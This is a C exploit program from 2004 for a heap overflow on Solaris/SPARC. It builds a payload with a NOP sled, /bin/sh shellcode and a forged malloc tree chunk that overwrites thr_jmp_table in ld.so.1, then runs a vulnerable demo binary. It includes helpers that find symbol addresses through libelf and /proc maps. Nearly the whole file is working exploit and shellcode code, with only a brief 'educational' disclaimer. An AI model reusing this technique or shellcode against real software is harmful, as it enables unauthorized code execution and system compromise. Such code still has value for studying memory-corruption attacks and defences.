/*
 *
 * Heap overflow overwriting thr_jmp_table with automatic address.
 *
 * You will need to know shellcode address (just run ./heap_vuln).
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 *
 * (c) 2004 Copyright by inode <inode@wayreth.eu.org>
 *
 */

#include <stdio.h>
#include <fcntl.h>
#include <gelf.h>
#include <libelf.h>
#include <procfs.h>
#include <sys/elf_SPARC.h>
#include <string.h>
#include <unistd.h>

#define VULN	"./heap_vuln"

#define SHELLCODE_ADDRESS 0x20D18

#define ALIGN           8

typedef union _w_ {
	size_t		w_i;		/* an unsigned int */
	struct _t_	*w_p;		/* a pointer */
	char		w_a[ALIGN];	/* to force size */
} WORD;

typedef struct _t_ {
	WORD	t_s;	/* size of this element */
	WORD	t_p;	/* parent node */
	WORD	t_l;	/* left child */
	WORD	t_r;	/* right child */
	WORD	t_n;	/* next in link list */
	WORD	t_d;	/* dummy to reserve space for self-pointer */
} TREE; 

unsigned char	sparc_nop[] = "\x90\x1b\x80\x0e";

unsigned char	jump_nop[] = "\x10\x80\x00\x03";

unsigned char   shellcode[] =   /* dopesquad.net shellcode */
		"\x82\x10\x20\x17"      /* mov          23, %g1 */
                "\x91\xd0\x20\x08"      /* ta           0x8 */
                "\x21\x0b\xd8\x9a"      /* sethi        %hi(0x2f626800), %l0 */
                "\xa0\x14\x21\x6e"      /* or           %l0, 0x16e, %l0 ! 0x2f62696e */
                "\x23\x0b\xdc\xda"      /* sethi        %hi(0x2f736800), %l1 */
                "\x90\x23\xa0\x10"      /* sub          %sp, 16, %o0 */
                "\x92\x23\xa0\x08"      /* sub          %sp, 8, %o1 */
                "\x94\x1b\x80\x0e"      /* xor          %sp, %sp, %o2 */
                "\xe0\x3b\xbf\xf0"      /* std          %l0, [%sp - 16] */
                "\xd0\x23\xbf\xf8"      /* st           %o0, [%sp - 8] */
                "\xc0\x23\xbf\xfc"      /* st           %g0, [%sp - 4] */
                "\x82\x10\x20\x3b"      /* mov          59, %g1 */
                "\x91\xd0\x20\x08"      /* ta           0x8 */
                "\x90\x1b\x80\x0e"      /* xor          %sp, %sp, %o0 */
                "\x82\x10\x20\x01"      /* mov          1, %g1 */
                "\x91\xd0\x20\x08";     /* ta           0x8 */


unsigned long find_func(char * filename, char * function);
unsigned long ld_so_address(void) ;

int main( int argc, char ** argv)
{
	char buffer[1000];
	struct _t_ xx;	 
	FILE * out;
	int i;

	unsigned char * point;

	unsigned long LDSO = ld_so_address();
	unsigned long JMPTABLE = find_func("/usr/lib/ld.so.1", "thr_jmp_table");

	printf("ld_so address: 0x%p\n", (char *) LDSO);
	printf("relative thr_jmp_table: 0x%p\n",(char *)  JMPTABLE);
	printf("real thr_jmp_table: 0x%p\n",(char *)  LDSO+JMPTABLE);

	printf("shellcode size: %d bytes\n\n", sizeof(shellcode) - 1);

	memset( buffer, '7', sizeof( buffer ) );

	point = buffer;

	/* use nop technique modified for heap overflow */
	for( i = 0;  i < 96 ; i++, point += 4 )
		memcpy( point, jump_nop, 4);

	/* just 4 normal nop */
	for( i = 0;  i < 4 ; i++, point += 4 )
		memcpy( point, sparc_nop, 4); 

	/* copy our shellcode */
	memcpy( point, shellcode, sizeof( shellcode ) - 1);

	/* HEAP STRUCTURE */
	xx.t_s.w_i = 0xfffffff0; 
	/* that will be what we need to overwrite */ 
	xx.t_p.w_i = (JMPTABLE + LDSO) - 4 * sizeof (WORD) ;
	/* */
	xx.t_l.w_i = 0xffffffff;
	/* Shellcode address */
	xx.t_n.w_i = SHELLCODE_ADDRESS; 

	memcpy( buffer + 512, &xx, sizeof(xx));

	out = fopen("x.heap","wb");

	fwrite( buffer, 512 + sizeof(xx), 1, out);
	fclose(out);

	execl(VULN,VULN, NULL);

	return 0;	
}

unsigned long find_func(char * filename, char * function)
{
        Elf *elf_file;
        int fd,i;
        Elf_Scn *scn, *scnfd;
        Elf_Data *data;
        Elf_Data * sd;
        GElf_Sxword     count = 0;
        GElf_Sym sym;
        GElf_Ehdr ehdr;
        Elf_Cmd cmd;

        elf_version(EV_CURRENT);

        if ((fd = open((filename), O_RDONLY)) == -1) {
                return 0;
        }

        cmd = ELF_C_READ;
        if ((elf_file = elf_begin(fd, cmd, (Elf *) 0)) == NULL) {
                return 0;
        }

        if (gelf_getehdr(elf_file, &ehdr) == NULL) {
                        return 0;
        }

        scnfd = elf_getscn(elf_file,ehdr.e_shstrndx);

        data = elf_getdata(scnfd, NULL);

        scn = 0;
        while ((scn = elf_nextscn(elf_file, scn)) != 0) {
                GElf_Shdr shdr;

                gelf_getshdr(scn, &shdr);

                if (shdr.sh_type == SHT_SYMTAB) {

                        if (((sd = elf_getdata(scn, NULL)) == NULL) || (sd->d_size == 0)) {
                                return 0;
                        }
                        count = shdr.sh_size / shdr.sh_entsize;

                        for (i = 1; i < count; i++) {
                                char * xxx;
                                gelf_getsym(sd, i, &sym);

                                if (sym.st_name == 0)
                                        xxx="";
                                else
                                        xxx= (char *)elf_strptr(elf_file, shdr.sh_link, sym.st_name);

                                if( strcmp( function, xxx) == 0 )
                                        return sym.st_value;
                        }

                }

        }

        (void) elf_end(elf_file);
        (void) close(fd);

        return 0;

}

/*
 * This function open /proc/<pid>/map and get the previous
 * of the last memory segment that is rwx. We doesn't use
 * the last one because may be the stack.
 */

unsigned long ld_so_address(void)
{
        int cur_pid;
        int fd;
        unsigned long address = 0;
        unsigned long address_old = 0;

        char tmp[100];

        prmap_t stru;

        cur_pid = (int) getpid();

        sprintf(tmp,"/proc/%d/map", cur_pid);

        fd = open( tmp, O_RDONLY);

        if( fd < 0 ) {
                fprintf( stderr, "Can't open %s\n",tmp);
               	return 0; 
        }

        while( read(fd, &stru, sizeof(stru)) > 0 )
                if( stru.pr_vaddr != 0)
                        if( stru.pr_mflags & MA_READ && stru.pr_mflags & MA_EXEC \
				&& !( stru.pr_mflags & MA_WRITE) && address < stru.pr_vaddr && stru.pr_vaddr!=0) {

                                address_old = address;
                                address = stru.pr_vaddr;
                        }
        close( fd );

        return address;
}



